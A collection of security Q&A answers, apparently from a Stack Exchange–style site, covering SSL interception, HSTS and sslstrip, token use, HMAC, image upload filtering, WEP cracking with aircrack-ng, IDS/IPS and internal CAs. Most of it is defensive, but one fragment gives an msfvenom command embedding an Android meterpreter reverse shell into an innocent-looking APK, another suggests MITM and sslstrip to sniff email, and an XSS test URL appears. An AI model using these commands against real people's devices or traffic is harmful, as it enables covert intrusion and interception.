What is the best practice when corporate network is overwriting SSL certificates?

Operating systems have root certificate stores to attempt to centralize this. The problem is several applications choose not to trust it.

Firefox chooses by default not to trust the store. You can make it do so by setting security.enterprise_roots.enabled to true. There are ways to roll this out to all users simultaneously including via group policy to deploy the necessary locked config files.

Git, bower and npm suffer similar issues except none to my knowledge have methods to make them trust the root store. You need to modify or replace the trusted certificate stores for each application - this should be possible via normal domain management tools.


How is M able to replace HTTPS with HTTP, strip HSTS headers and so on when all he has to work with is an encrypted stream?

They can't. An SSL strip attack needs an initially unencrypted stream to work with. It bypasses SSL rather than attacking it. The idea is to prevent your browser from initiating an HTTPS connection by turning redirects and links to HTTPS pages into plain HTTP ones. Alternatively, they can also redirect you to an actual HTTPS page but change the domain name to a similar one which is owned by the attacker (e.g. https://faceboook.com). This has benefit of still showing the green SSL indicator lock (but a false domain name).

A common injection point would be when a user first types mybank.com into the address bar and (given the site is not in the HSTS preload list) the browser first starts with a regular HTTP request where they would receive an unencrypted response redirecting them to HTTPS. That response is usually the last time you can tamper with the traffic on the application layer.

HSTS is trust-on-first-use. If the attacker doesn't catch the victim on their very first plain HTTP connection attempt where it's still possible to strip the HSTS header then they will be unsuccessful in the future because the browser will prevent any plain HTTP until the HSTS header expires.


Does NAT break source port randomization?

Obviously the implications are going to be implementation-dependent. The NAT device is free to choose any source port desired, and some implementations may have historically used sequential port numbering. But with newer hardware this is becomming increasingly unlikely.

Specifically, newer routers prefer to use the client computer's original source port (particularly for UDP) specifically to allow NAT traversal using a technique now called UDP hole punching.

At one point this was considered a sought-after feature for gaming, Skype, etc., but now it's pretty much expected.

Also, bear in mind the in most instances, the router sets itself up as the preferred DNS server for its network, then runs a forwarding resolver locally on the device. This would mean that port randomization on the client computer would be irrelevent; instead the randomization would need to be a feature of the router's DNS resolver.


What you can do with super cookies on subdomain to harm domain?

A super cookie is basically and identifier which makes it possible to identify a specific user or user group over multiple domains and which is more or less resistant against anti measures.
The actual implementations vary. But the basic idea is that the identifier is not bound to a single property like HTTP cookie, browser fingerprint, IP address, Etag, HSTS or simlar but that it combines multiple properties. This makes it resistant against particular anti measures, since it is possible to identify the user again even with a subset of the original properties.


Try it with sudo like:
sudo msfvenom -x ScreenBrightness.apk -p android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk


How to sniff email with https on Windows?

The HTTPS traffic is encrypted, you can trick a computer into not using HTTPS but for this you'll need to setup a man in the middle attack. Then use something like sslstrip to trick the client into not using HTTPS. Kali linux has all these tools build in, so that would be a good OS to start with.


Do I must require Authentication for resources with an Hash-key?

As pointed out in the comments by @Sjoerd simply using a URL to protect a resource in theory can be secure but comes with several potential problems. If this is your question then it is a duplicate of Is random URL token secure enough for file attachments and other user content?.

As per my comments it appears iCloud does not simply use a URL. The link provided contained several query parameters including a session token, (relatively short) expiry and signature.


Why is ID token used instead of Access token to get temporary credentials in AWS?

From Question:

From all standards - ID token should not be used to gain access to
an API:
https://auth0.com/docs/tokens?_ga=2.253547273.1898510496.1593591557-1741611737.1593591372

Example from Documentation:

 if there's an app that uses Google to log in users and to sync their calendars,
 Google sends an ID Token to the app that includes information about the user. ......
    In the Google example above, Google sends an Access Token to the app after the user logs in
and provides consent for the app to read or write to their Google Calendar.
Whenever the app wants to write to Google Calendar, it sends a request to the Google
Calendar API, including the Access Token in the HTTP Authorization header.

It seems the documentation is referring to the APIs on Identity Provider's end (Which is Google in this case). The example discusses a use case which involves both authentication and authorization. The ID token is used for authentication and the access token is used for the API calls (modifying Google calendar on behalf of the user, also called "delegated authorization"). Delegated authorization was the basic idea behind OAuth.
The message they want to convey is: use access token to write to Google calendar on behalf of the user and use ID token to identify the user as the relying party.
I am guessing your use case with Cognito only involves authentication hence the ID token is used. The access token is gibberish from the perspective of AWS STS.
More from question:
This is problematic as what if you want to send the ID token to multiple services
(via SNS, etc..) so you could perform processing on behalf of the user?
you basically send a sensitive token that contains sensitive user data over the backend.

I am not sure if I understand your use case. Why is it that the initial set of temporary security credentials returned by STS are not having the required access?


Can a FIDO U2F device be used for symmetric encryption?

No, the U2F specified keys are not able to perform symmetric encryption operations. They are designed only for providing a public key, attestation certificate, and signing data for the challenge / response process with their internal private key. Specifications can be read at https://fidoalliance.org/specifications/overview/


As pointed out in comments and answers, there are plenty of legitimate reasons why you would want to add a CA to your browser's trust store, and the mechanisms for doing this require admin access to the machine / browser.

You're implying a trust model where you don't consider your administrator (or past you) to be trustworthy and would like the browser to visually distinguish between a certificate that is publicly-trusted (ie issued by a CA in Mozilla's publicly-trusted list) and one that is privately-trusted because it was explicitly added to the browser's trust store. Maybe the usual green with a warning symbol for privately-trusted?

Good idea! It would also solve my problem of needing two copies of firefox installed: one for testing products that need me to install certs, and one for browsing the internet. You should see if Firefox already has an enhancement for this, and if not, suggest it :)


To understand the basics of networking you have 2 options ...

TCP\IP protocol suit -Frouzan

Internetworking with TCP\IP vol-1

https://www.cs.purdue.edu/homes/dec/netbooks.html

both books are theoretically  oriented with simple algorithms to explain (personally i prefer the first one ).

to understand networking from programer's perspective you should check :

Internetworking with TCP\IP vol-2

it explains how TCP\IP stack implemented in an operating system called Minix (Unix based)

Internetworking with TCP\IP vol-3 " BSD sockets version"

Internetworking with TCP\IP vol-3 "Windows sockets version"

Both books covers server-client application implementation.

And finally those two books are good too .

http://www.amazon.com/Unix-Network-Programming-Volume-Networking/dp/0131411551/ref=pd_sim_b_1

http://www.amazon.com/UNIX-Network-Programming-Volume-Communications/dp/0130810819/ref=pd_sim_b_4

Hopefully it will help you ..


Is HMAC-SHA256 and HMAC-SHA512 able to act as drop in replacement for HMAC-SHA1 in HOTP/TOTP?

It's not only the code sample and the test values, it's even there explicitly in the RFC 6238:

  TOTP implementations MAY use HMAC-SHA-256 or HMAC-SHA-512 functions,
  based on SHA-256 or SHA-512 [SHA2] hash functions, instead of the
  HMAC-SHA-1 function that has been specified for the HOTP computation
  in [RFC4226].

So, yes.

My inexperienced but slightly educated guess would be that there's nothing wrong with using them even with HOTP (even though the RFC doesn't explicitly say it). After all, HOTP and TOPT are virtually the same.


Does the HMAC of symmetric key revealed weakens the encryption?

Theoretically, MAC algorithms may reveal part of their input data, because confidentiality is not part of their root characteristics. In practice, though, HMAC is safe for that. Similarly, a hash function does not reveal much about its input because it would make it more vulnerable to preimage attacks, and good hash functions are strong against that.

If you want to use the hash of the key as a key identifier, I suggest having a look at this previous question and its answers.

You appear to encrypt the concatenation of MD5(text) and text, which looks like a homemade MAC. "Homemade" is rarely a good sign. Combining encryption and MAC properly is not easy. If you really want to define your own format, you should strive to, at least, use an encryption mode which includes a MAC in a well-studied construction; this points at EAX or GCM. (Speaking of which: Blowfish, MD5... it seems that whatever sources you use to know how to do cryptography are a bit dated (15 to 20 years). In computers, 15 years are a lot.)


Restoring the stack frame after payload is executed

Technically it seems to be possible, but only in case you know the code path (i.e. you know the exploit would be triggered only from a specific address of the application). Seems like what you need to do is:

Overwrite only the return address on stack (and nothing else);
In your executed code store the old ESP/RSP in one of the throwaway registers, and set it to somewhere else (so your operations do not damage stack - may not be necessary if you're sure your shellcode will not damage stack content);
Store all registers which must be preserved across the function calls;
Do what you need to do;
Restore the preserved registers and stack pointer;
Assign a proper return value (if the function returns a value) into a proper register(s);
Jump to the specific address after from where the function which you exploited was called from.

A spawned shell in this case may use a dedicated stack, or even the original stack. Since it grows down, if the code uses the stack properly, it will not damage the original stack content which was put there before the invocation.


Is there a safe way to upload a malware into a centralized server?

Just ZIP the file with a strong AES password or use OpenPGP or Minlock file encryption (on the client before upload).

This protects your server from accidental execution, it hides the content from scanners, it will also protect integrity and will protect the analysts from accidental exposure on/after download. In fact it's the only reliable method to avoid accidental corruption by intermediates anyway. I don't think any forensic company accepts files without packing them in containers.

Yes you stated you don't want to ZiP, but you have not mentioned convincing reason why not: The threat model 'might be decrypted and run on server' is not valid, if an attacker can generate files and execute them they don't need your encrypted content to start with.

Using streaming adds very much distribution logistic as all receivers have to know and be online at the same time. And even with streaming you want to package, encrypt and integrity protect your network transfers.


Uploading images safe of XSS, php code and virus

First of all, you should check your (image) uploads because they can facilitate the exploitation of other bugs (like local file includes). Since there are virtually infinite possible attack vectors you will probably miss something but you should do your best.

Your solution for extension filtering is runtime-dependent: Apache for example will run evil.php.jpeg as a PHP script if the .jpeg extension is not registered in its configuration (this is an exceptional case though). I suggest to filter double extensions and filenames ending in '.'. Recommended read:

http://www.acunetix.com/websitesecurity/upload-forms-threat/

getImageSize() tells you if the uploaded file is really an image although you can place arbitrary content (like attack payloads, PHP or HTML/JS code) in some of the legitimate headers (think PNg comments or EXIF). One can also possibly create a file that is an image and valid in some other format at once. I suggest to resize/transform the uploaded image if possible.
As FakeRainBrigand pointed out,  you should set the file permissions to non-executable to reduce the risk of OS-level execution (also some PHP configurations require scripts to be executable).
Size limiting and renaming are good practices!
I don't really know what you mean by "image with virus". One can exploit bugs in image renderer engines to execute code, and there is not much you can do about that, as detecting this kind of malicious code would require a whole other AntiVirus-like system that would eventually face the Halting problem.


Nevermind. Those websites were using IPv6 over IPv4 and hence due to the encryption of IPv6 I couldn't see the traffic. It turns out that windows has a preference of IPv6 over IPv4 when the network adapter's have a few types of addresses, typical of those assigned by mobile hotspots. (Maybe for security?)

I could see in Wireshark that DNS requests for Facebook and Google were receiving IPv4 as well as IPv6 addresses. But those of Bing and barracuda weren't. And due to the preference of IPv6 over IPv4, IPv6 was used. I force disabled IPv6 support on windows over the adapter in question and as expected things were back to normal.

And it turns out the TCP exchanges that I mentioned are probably something else and not the request responses from Google or Facebook. I realised this by simply running Wireshark on my windows machine, and then abffled at this I did some research and got to know somewhere from Microsoft support about the preference of IPv6 over IPv4.

Hope this helps some pentester somewhere.


How can I properly secure the WiFi setup process of an IoT device?

Answering this question reminds me about the one I answered in regards to security on fire safety products.

Security is only as good as the weakest link. In this case it's the end user.

Asking end users to install root certificates is not only begging to raise questions (are you or your company even reputable enough to be a CA?), but will prove a waste of time if a user somehow works their way through things. You will need to update certs over time, or maybe even revoke one, the sky is the limit, and building a PKI is out of scope for a project like this.

Technologies such as WPS and Bluetooth pairing prove that easy is generally better suited for security in a wider audience. While WPS suffers from problems, it doesn't really matter as most WiFi routers come flashed with ISP branding and horrible default credentials based on serial numbers. Mine even offers a no way to disable "password recovery" feature, because storing plain-text passwords is never a bad idea right...

Local attacks aren't really prevented anyways, because who would honestly break into your house (a criminal offense), to tamper with a device for free WiFi (potentially another criminal offense), when they could commit more profitable criminal offenses like photographing your credit card(s)?

The initial scenario seems suitable, given that the hotspot only remains "on" for a limited time period, and times out when nothing is setup. Pushing the button on the device starts the "setup" phase again.

If you are interested in other ("exotic") solutions:

I've had fun with "key loaders" used in military or police radios before. Potentially adapt this idea with a USB key that holds WiFi setup info that erases after loading the info?
Generate a one time password, display it on the device for 60 seconds, and then require a device wipe to change device settings or pair the device again.
If this is going to be used in a commercial setting, pairing via bluetooth and then using an app to setup may be good idea.
If you want a more "high-tech" approach, use an app that transmits information to the device via NFC after a button on the device is pushed. Marketing departments really love buzz words like NFC.
Do as the fancy store payment terminals do. Include features like proprietary interfaces/standards and pressure sensitive switches that clear keys in volatile memory.
Assuming certificate based WiFi, you could load certs onto a YubiKey, and have a user place the Yubikey on the device. Have the key do all the crypto, and private key extraction would prove difficult to most attackers. Charge $$$ for including a "FIPS" model, because again marketing departments like buzzwords.

In the end, security is only good if it is usable. Keep that in mind for your end users.


Various questions about cracking WEP with aircrack-ng

First of all, I strongly suggest you narrow down your questions, I'm prety sure people haven't answered because it's really hard to read and there are many questions. Try making a conclusion question o highlight the details, this stack exchange has rich text editors. Try reading this.

Still, I'll try my best to answer everything.

You should start by reading the manual

  It should be noted that the fake authentication attack does NOT generate any ARP packets

The purpose of fake auth is to add (associate) your mac to the AP, so he thinks you are OK (When you do a ARP replay attack you can spoof the MAC from an already auth client, but let's follow your case)

a) I start airodump-ng and filter on my target AP and channel: This is done to create a capture file, a dump of the captured packets, the filters are made to drop any noise or broadcasts not needed in the process to crack WEP (quick tip, you can add --ivs to filter ONLY the ivs which is the only thing you need to crack the WEP key)

b) I run a fake authentication (with or without psk doesn't matter much to the point of my question): Ok, I already answered the purposed of this

c) I listen for ARP packet.: This is needed to replay it to the AP so it generates more IVs, it's called ARP request replay attack

d) Once I receive a suitable ARP packet I replay it until aircrack-ng has enough IVs to crack the key: Ok, we are doing just fine.

e) e. I can speed up the ARP packet creation through deauthenticating one of the clients. When it reconnects it will send an ARP packet: No, there's no need to de-authenticate, you already said you got a suitable ARP which you will replay, why do you want to disconnect the client? This would be only in the case you still DO NOT HAVE A SINGLE ARP request.

And now to the question of subsection 1) You are right, generaly right after the initial conversation (probe request/response, auth reqest/response asociation request/response) there will be some ARP.

No idea why is this happening, but PWR has nothing to do with the attack, the control frame used in deauth-attack is only to disassociate the station with the AP, it's not meant to hinder the signal of the antenna.
I'm not sure why do you want to catch the keystream, or how you intend to do it, but the weakness of WEP lies in the IVs, there are some weak IVs that can be used to crack the key. They keystream is generated by the RC4 with PRNG, and to seed the RC4 you need the IV + the WEP key, so if you are actually sniffing, you can only get the Ciphertext which has already been xored by the IV + keystream and the data + checksum.


What fraction of software bugs are vulnerabilities?

Well, obviously any estimate is going to fairly hand-wavy, since if we knew the existence of all bugs and could enumerate them, then the bugs probably wouldn't have shipped. So these bug counts are based on bugs found after the fact. Scrutinized software will naturally have proportionally more of its bugs discovered than rarely used software, so our measurement technique is biased.

But here's a post that references Code Complete saying 10-15 bugs per KLOC:

http://amartester.blogspot.com/2007/04/bugs-per-lines-of-code.html

And here's a post right here on SO that estimates security bugs at at a max of .05 security bugs per KLOC:

Average number of exploitable bugs per thousand lines of code?

So one rough estimate to your answer is .05/15 = .003333. It's a fairly small proportion.


How can I block flash from obtaining a list of available fonts in my browser?

Use the open source Flash/SWF player - LightSpark.

If LightSpark currently provides only a Mozilla browser plugin, encourage the developers to port to Chrome, or port it yourself.

If LightSpark doesn't currently have a toggle for disabling or anonymizing font information, upload a patch to the project, or encourage the project developers to do so.


XSS vulnerability in raw script response?

Generally speaking, no, this is not a Cross Site Scripting (XSS) issue.

You can have three problems:

If the attacker control the first bytes of the output, the
Rosetta Flash attack can be used to trigger a Cross Site Scripting (XSS), regardless of the content-type of the page.
But if you start the output with /*, like you said you do, I can not see any risk;
Outdated browsers (e.g.: IE 7) have content-sniffing issues, so even you setting the content-type of your page to text/javascript, an attacker could trick the browser to execute your page as HTML. Nowadays, this type of attack is very rare.
Use the following header to become safer;

  X-Content-Type-Options: nosniff

If you have sensitive informations in your javascript based on an authenticated session, you have other vulnerability, called Cross Site Script Inclusion (XSSI).

Important update:

I am supposing you are serving the page with Content-Type: text/javascript.

If you are serving the page with Content-Type: text/html and you are not encoding < and >, you are completely vulnerable to XSS.

Example:

http://example.com/CombinedScripts?file=<img src=x onerror=alert(9)>


The impact is negative. Any certificate in the PKI tree will fail revocation checking and most applications will reject your certificates.

What you have to do is to turn on your offline root CA, generate new CRL and copy it to CRL distribution point. You have to start your root CA whenever the following condition occur:

root CA certificate is near to expire and CA certificate renewal is required.
a new subordinate CA certificate must be issued or renewed.
suborinate CA certificate must be revoked.
root CA CRL is about to expire and must be updated.


End-To-End Encryption in Cloud file sharing

In the solution that you describe, the service acts as a CA of sorts, validating for Alice that the public key purported to belong to Bob is in fact Bob's.
For further verification, some end-to-end encrypted file sharing services (e.g. encryptedsend.com) provide a means for Alice to verify Bob's public key, through some out-of-band method, such as phone, SMS, etc.


NordVPN uses /var/run/nordvpnd.sock to allow the nordvpn client tool to communicate with the nordvpnd daemon (which is running as root).


For HTTP, you rely on nobody being able to spy on your packets (or alter/drop/duplicate them) between your device (your smartphone or computer) and the target server. 2G and 3G offer some encryption, but only from your device to the nearest base station; encryption is "over the air". From the base station to the target server, there is no encryption (or, at least, nothing is standard-enforced), so you cannot assume that the data is protected. Besides, the 2G encryption is based on A5/1, which is known to be weak (and there are ways to force a given cell phone to switch back to A5/2, which is weak by design, and can be cracked in real-time). 3G uses KASUMI which, while academically weakened, is still beyond cracking with today's technology. However, I repeat, 2G/3G encryption is only against nearby adversaries, who limit themselves to the radio link between your device and the station. Don't use HTTP for transfers of valuable data.

HTTPS is HTTP-within-SSL. SSL has been designed to offer security (server authentication, confidentiality and data integrity) regardless of the transport medium. 2G/3G is irrelevant to the security of HTTPS. It depends on your browser / operating system (and, in particular, which certification authorities are accepted as "trusted roots"), not on the network.


What's the signature structure in TLS server key exchange message?

Digitally-signed struct for RSA signing

  And what's this digitally-signed structure?

It's defined in TLS 1.1's Section 4.7. Cryptographic Attributes:

  In RSA signing, a 36-byte structure of two hashes (one SHA and one MD5) is signed (encrypted with the private key).  It is encoded with PKCS #1 block type 1, as described in [PKCS1A].

MD5 hash in digitally-signed struct

  I also saw some examples using sha512, is md5 really necessary?

Yes, it is set to be this MD5/SHA-1 combination in TLS 1.1. This is something that was only changed in TLS 1.2. There the cipher suite gets to choose the hash.

From TLS 1.2's Section 1.2. Major Differences from TLS 1.1:

  The MD5/SHA-1 combination in the digitally-signed element has been
    replaced with a single hash.  Signed elements now include a field
    that explicitly specifies the hash algorithm used.


Is it safe to access HTTP sites from Tor?

No, it is not safe. But the reasoning your read is wrong.

When you use Tor, the connection between you and the Tor network is encrypted, so your ISP can not eavesdrop. But when you access a normal HTTP website with Tor, the connection between the exit node and the target website is unencrypted. That means the exit node can eavesdrop and manipulate the whole connection. You don't know if the exit node (and its ISP) is trustworthy, so this can be very dangerous.

This does not apply to hidden services (.onion websites). In that case the encryption is end-to-end and another HTTPS layer is redundant (and counter-productive because one purpose of HTTPS is to de-anonymize the server).


If it is stateless, your scheme is vulnerable to replay attacks.

A client can respond with the same captcha+ciphertext every time, no matter what ciphertext was initially sent.

Use a timetamp+random bytes as a nonce. This doesn't have to be secret, only the key must remain secret.

Instead of encrypting the captcha, you can use a keyed hash.

Server sends Hk(captcha) || timestamp || randombytes with k = secret || timestamp || randombytes. You can use crypto_auth() or crypto_generichash() for this, and use a 192-bit secret, a 32-bit coarse timestamp and a 32-bit random part.
Client sends Hk(captcha) || timestamp || randombytes || captcha
Server computes H'k(captcha) using the captcha, timestamp and randombytes sent by the client, and verifies that the timestamp is close to the current time and that H'k(captcha) matches Hk(captcha).


How can I keep a roommate from seeing my web activity?

He's your roommate, so he probably has physical access to your machines and/or your networking equipment.  Given that he's also a security engineer, there are probably dozens of ways that he could learn what sites you are visiting, from eavesdropping on the network communications, spyware on your machine, logs on your computer or your router, or a gazillion other possibilities.

There's probably not much point in speculating about what methods he is using, if indeed he is doing anything at all.  Securing yourself against a roommate who is a security expert and you don't trust is ... well, it's basically a nightmare scenario for computer security.  Defending against that is possible in theory, but in practice, not really realistic for the average person, and probably a major pain in the butt.  Even if you somehow knew that he was hacking your machine/network and knew exactly what he was doing, and even if you were able to close off that particular hole, there would still be any number of other ways he could go after you, if he really wanted to play games with you.

If you really want to protect yourself as best as possible against that kind of threat model, here's what you could do to start: wipe your computer's hard drive, install a clean copy of the OS, install TrueCrypt and encrypt the entire hard drive using a hard-to-guess passphrase, turn off autorun, make sure when you leave your computer unattended you've powered down or done something that will require you to re-enter your TrueCrypt password to regain access, install HTTPS Everywhere, buy a secure VPN (one that encrypts everything that goes over the network, e.g., with SSL or IPSEC) and route all your communications through the VPN, and change your passwords on all your websites.  It'll be a serious pain in the butt, and only you can say whether it's really worth it.  If your roommate is just fooling around?  Probably not worth the bother.

Probably the best way to deal with this is through social means, not technical means.  In other words, either grin and bear it, or persuade your roommate to quit jerking your chain, or find a new roommate.


Privacy risk from iPhones or other camera phones being fingerprinted by EXIF data?

I answered on that Reddit page:

The answer to your question is a resounding yes.

Also, you don't even need EXIF data; even if you strip the EXIF data, some one can still link together images that have been taken by the same device using camera fingerprinting:

https://www.privateinternetaccess.com/blog/2016/11/smartphones-camera-fingerprint-allows-anyone-track-videos-pictures-back/

Also see some of the comments on this Reddit post:

https://www.reddit.com/r/Android/comments/2hol0n/remove_exif_data_before_sharing_photos_to_protect/

Especially this quote:

"EXIF data can also hold a serial number for the camera. Meaning that if you take two photos, they can be later associated as from the same shooter (e.g. one posted on an anonymous site and another posted on a non-anonymous site, someone could link the two accounts). ".

Also this quote: "Basically, every camera has some random manufacturing imperfections that result in imperceptible noise patterns in the pictures, which can be used as a fingerprint to forensically associate a picture with a camera. To get that fingerprint, you need a set of pictures taken with the same camera, which you then compare with each others to find a common noise patter, which you can then look for in other pictures when you want to know which camera has taken them.

I'm pretty sure the NSA and other SIGINT agencies already scour pictures posted to social networks for camera fingerprints and already have a database full of them.".

If you yourself have shared some very private, sensitive photos on porn sites or whatever, but also post other photos publicly with your name alongside them, you might want to consider the above points. Perhaps try to get those private, sensitive photos taken down. I know, people should have the right to feel anonymous and private online so they can take part in communities freely which they otherwise would be too embarrassed to take in real life, but right now the Internet is not designed properly for that. So, it's your choice. It's very unlikely anyone would target an ordinary guy, so I wouldn't personally worry, but it depends on your risk tolerance and threat model and who you are worried about.


Can sessions be handled securely with cookies disabled?

I'd say that it depends on your use case.  If you look at an HTTP POST request there are essentially three areas where data can be placed, the headers, the URL and the request body.

If we're ruling out putting the token in the request body or in the URL, that leaves us with the request headers as a place to put the authentication token.

There are existing schemes that make use of this, for example HTTP Basic Auth, Digest Auth and NTLM Auth .

However each of those has got downsides and whether they're appropriate/secure for your application would depend on the application, the threat model and the user population.

If, for example, you're talking about an internal corporate Application where all the client machines are running variants of Windows, then NTLM auth would likely be a good idea.

If however you're looking at a general e-commerce set-up with a variety of end user Operating systems, it wouldn't be.


Alice and Eve work for Bob. Alice is a very good worker who does exactly what Bob asks her to do. Eve is a criminal mastermind hell-bent on destroying Bob's company.

Alice and Eve both share the same account.

Eve logs into the account and uses it to sabotage an important business process. The audit log captures this action.

How does Bob know who sabotaged his company? He has to get rid of the bad actor, but can't fire both of them, because his company depends on the work that they do. He could fire just one, but he has no way of knowing which one is his friend and which one is his enemy.

If Alice and Eve had separate accounts, Bob could be sure that Eve was the one who did the sabotage. Eve might even avoid doing the sabotage, if she knows her account will be audited and she will be caught.

EDIT: Adding from comments:

If Eve quits, you now need to reset the password on every account she had access to, rather than just disabling her personal accounts. This is much harder to manage, and you will miss accounts.

Additionally, it removes your ability to have granular control over access. If Alice should be writing checks, and Eve should be signing them, you essentially have no technological way to enforce that if they share the same account.

Also, it makes it harder for a given individual to notice malicious changes to their environment. Alice knows what files are on Alice's desktop. Any new files will likely raise a red flag for her. Alice doesn't know what files are on Alice and Eve's shared desktop. It is likely new files will be met with a shrug and an assumption that another user put it there, not a malicious actor.


Best practice to discover network hosts?

For unprivileged Unix shell users, the default probes are a SYN packet to ports 80 and 443 using the connect system call. This host discovery is often sufficient when scanning local networks, but a more comprehensive set of discovery probes is recommended for security auditing.

Nmap host discovery

Therefore, running nmap -sn as an unprivileged user may not return accurate results if hosts do not reply to these probes (e.g. strict firewalls and/or no ICMP response). Running the same scan as root will use ARP instead, producing a similar if not identical result to the arp-scan tool.

Note that arp -a does not scan or even necessarily display all of the hosts on the network. This command simply dumps your ARP table, which contains entries from hosts you've sent ARP requests for, or received gratituitous ARPs from.

Additionally, your idea to ping all hosts may not work if these hosts do not reply  due to firewalls (firewalls are commonly set up to block ICMP, regardless of the merit in this practice).

That said, an ARP scan (with nmap, arp-scan, or your own script) is likely the most reliable way to determine the hosts on your local network, since this will not be blocked except in extreme cases.


Can I use a single SSL with multiple subdomains that all points to the same server?

You can use a certificate for all names contained in the certificate. It does not matter which IP address gets used in the end, if there are CNAMEs involved etc. The only thing which matters is if the hostname in the URL matches successfully against the certificate returned by the server, that means exact match or wildcard match against the names in the certificate.

It might be that you certificate provider has some more usage restrictions in the contract, but these are not technically enforced by the browser.


First of all, let's look at definitions for IPS and IDS:
IDS:

An intrusion detection system (IDS) is a device or software application that monitors a network or systems for malicious activity or policy violations. Any detected activity or violation is typically reported either to an administrator or collected centrally using a security information and event management (SIEM) system.

IPS

Intrusion prevention systems (IPS) [...] are network security appliances that monitor network or system activities for malicious activity. The main functions of intrusion prevention systems are to identify malicious activity, log information about this activity, report it and attempt to block or stop it.
Intrusion prevention systems are considered extensions of intrusion detection systems because they both monitor network traffic and/or system activities for malicious activity. The main differences are, unlike [IDS], [IPS] are placed in-line and are able to actively prevent or block intrusions that are detected. IPS can take such actions as sending an alarm, dropping detected malicious packets, resetting a connection or blocking traffic from the offending IP address.

(Emphasis mine.)
Now let's look at the question and the given answers:

Which of the following statements are true? (Select all that apply)
a.- An IDS deals with malicious traffic that the firewall missed.

As we just learned, an IDS is only used for monitoring and not for "dealing with" (whatever that means exactly). It is fair to say that IDS is not actively involved in blocking or filtering such traffic, so "dealing with" is probably: FALSE.
As Georgios pointed out, "dealing with" could also be interpreted less actively, so this might be TRUE. English is not my first language, so other comments are welcome.

b.- An IPS is on the boundary of the trusted inside and the untrusted
outside.

I wouldn't say so, but you could argue it that way. Typically the IPS sits behind the boundary - this is where the firewall would be - to lower the load of traffic the IPS has to analyze. The firewall filters out most of the easy-to-detect unwanted traffic, the IPS takes care of the more sophisticated stuff.
In my view: FALSE.

c.- A network-based firewall protects hosts from malicious traffic
originating on their same network.

Nope. A network-based firewall protects hosts inside a network from malicious traffic that originates from the internet or any other network that sends traffic to these hosts. A host-based firewall protects a host (if set up correctly) from all sorts of traffic, irrelevant where it comes from. This would be a software that is installed on a machine, like Windows firewall.
FALSE.

d.- An IPS protects hosts from malicious traffic originating on their
same network.

Helloooo, there it is. This is a correct statement. BUT, an IPS does more than that. See (at least) wikipedia article for more information on that.
TRUE.


It depends on your reqirement, where you are going to use your or snort IDPS. It means, If your DMZ or network is getting attacked more frequently then you should go for Emerging Threat Pro rules because it will be updated every day so you will get protected by new attacks or might be zero day. In the other hand snort VRT paid version rules will be updated ones in a week. So there might be a chance of your IDPS can be evaded by new attacks or threat.
Snort paid version rules covers all types of threat like malwares, viruses, and well known L7 protocols which is  mostly used attack vector.


How secure is choosing one out of N generated passwords?

one I like

That is the bane of precise entropy calculations: human psychology. It is hard to quantify precisely how much the attacker can model your aesthetic choice. There are two extremes:

The attacker may totally fail to guess what kind of password you like or don't like. In that case, your selection cannot be exploited by the attacker, and the entropy computation for the password generator is unchanged.
The attacker may have an accurate model of your brain, and precisely know what is a "likable" and an "unlikable". In that case, the attacker will try the most likable passwords first. In that case, the entropy, from the attacker's point of view, will be divided by at most N (if you express entropy as "bits", as is customary, then you will lose log N bits).

The reality will be somewhere between these two extremes. The cautious stance is to assume the worst. Thus, if you generate N = 16 passwords and allow the user the select one, then consider that you just lost 4 bits of entropy (because 16 = 24); in the "correct horse" method with four words from a list of 2048 words, hence 44 bits of entropy, you drop to 40 bits -- which is weaker but still quite decent, as passwords go.

At least it can be mathematically demonstrated that allowing a choice among N random passwords cannot reduce the entropy by more than a factor of N (i.e. you cannot lose more than log N bits that way).


Read-write mount both hidden + regular TrueCrypt volume at same time?

Because of the nature of TrueCrypt, you cannot mount both volumes at the same time. Basically, TrueCrypt takes your password and tries to decrypt the hidden volume header. If it fails, it tries the "standard" header. This way an adversary for example has no way of knowing you have a hidden volume since you're only typing in a specific password to pull the volume of your choice.

That said, your "standard" volume should just be used for dummy data anyway. If you need both,  just use two files/partitions for your volumes.

Edit: Oh, and you can't assign 2 drives to it since it's an exclusive lock (you'd get greeted with an "already mounted" error).


Creating a secure home network - Which firmware should I use and how should I configure my firewall?

Beside what you have already done disabling WPS and using whitelisting:

Use the latest firmware
Disable TKIP, just use AES.
Obviously... change default login / wifi credentials. Use a decent password.
Disable UPnP.
Firewall policies to DROP, only allowing what you are going to use (80,443,22,53,3389...).
Limit the amount of DHCP devices, also set them to expire every 24h.

But also remember that securing a home network is not just secure the networking devices. Harden your systems, configure the host-based firewall, always install updates, etc.


Android Kitkat reports: "Network May Be Monitored by an Unknown Third Party" when using non-default root CA

To answer your first question:

As far as I know, there is no way to circumvent this.  It's a security feature.

To answer your second question:

Yes, non-default trusted root certs are definitely potentially problematic.  They are often abused.  They are sometimes used for workplace or traffic monitoring (which is potentially OK if adequately disclosed, though it may still feel sketchy to many), but they're also sometimes used by spyware, malicious apps written designed to snoop on your activity, and other icky stuff.

So, it's a tradeoff between (a) the risk of scaring users, when the user was already aware and nothing bad is going to happen, if you do show the warning, vs (b) the risk of users getting spied upon without their awareness, if you don't show the warning.  The Android developers presumably had to make a judgement call on the relative severity and prevalence of these two risks, and presumably came down on the side of informing the user.  I'm not in a position to form an independent view on this decision, but one can understand why they might have made this choice.

You linked to the issue on the Android bug tracker.  Well, if you look at comment 8, you will see an explanation from an Android developer of why they chose this behavior.  See also comment 39 for another scenario.  So yes, there is a valid reason why they do this; whether you agree with their judgement or not, this is a public explanation of their reasoning.


Try:  http://www.morningstarsecurity.com/research/whatweb

  WhatWeb identifies websites. Its goal is to answer the question, “What is that Website?”. WhatWeb recognises web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 900 plugins, each to recognise something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more.


What are the problems with creating an own CA for intranet?

There is nothing at all wrong with running your own internal certificate authority; the vast majority of large companies that I have interacted with have their own internal CA.

Advantages

The nominal cost of a cert becomes nearly zero when amortized over enough systems and users; when you purchase certificates from an external CA, this will never become the case.
It can be a lot easier to manage certificate expiration and renewal, since you can assign ownership to an internal group, instead of a single user who requested it.
You can do all sorts of neat things that are very difficult or expensive to do with external CAs, such as creating wildcard certs for subdomains, like *.test.company.com, or creating weird invalid certs for testing purposes (SHA-1 2017, 512-bit RSA, etc.)

Disadvantages

Running a CA is really hard.  For your own internal CA, you obviously don't need to have quite the level of security controls of a real CA, but it's still quite complex.
